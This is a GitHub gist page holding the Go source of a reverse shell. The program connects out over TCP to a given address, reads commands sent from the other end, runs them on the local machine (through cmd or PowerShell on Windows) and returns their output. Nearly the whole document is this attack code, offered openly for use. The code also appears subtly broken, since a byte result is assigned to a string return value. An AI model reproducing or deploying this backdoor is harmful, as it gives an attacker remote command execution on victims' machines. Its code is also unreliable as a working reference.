Skip to content

Instantly share code, notes, and snippets.

@psidex
Last active June 16, 2020 02:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save psidex/f6d108dea968bc13b7943aa87b9dc531 to your computer and use it in GitHub Desktop.
Save psidex/f6d108dea968bc13b7943aa87b9dc531 to your computer and use it in GitHub Desktop.
Golang reverse shell over TCP
package main
import (
"bufio"
"fmt"
"net"
"os/exec"
"runtime"
"strings"
)
const prompt = runtime.GOOS + " > "
// StartReverseShell starts a reverse shell from the current machine to address.
func StartReverseShell(address string) {
conn, _ := net.Dial("tcp", address)
for {
fmt.Fprintf(conn, "\n%s", prompt)
message, _ := bufio.NewReader(conn).ReadString('\n')
toExec := strings.TrimSuffix(message, "\n")
if toExec == "exit" {
return
}
args := strings.Fields(toExec)
res := execArgs(args)
fmt.Fprintf(conn, res)
}
}
// execArgs takes a list of arguments (the first one being a binary) and executes it locally.
func execArgs(args []string) (out string) {
if runtime.GOOS == "windows" {
var cmdPrefix []string
_, err := exec.LookPath("Powershell")
if err != nil {
cmdPrefix = append(cmdPrefix, "cmd", "/C")
} else {
cmdPrefix = append(cmdPrefix, "Powershell")
}
args = append(cmdPrefix, args...)
}
out, err := exec.Command(args[0], args[1:]...).Output()
if err != nil {
return err.Error()
}
return out
}
func main() {
StartReverseShell("127.0.0.1:1234")
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment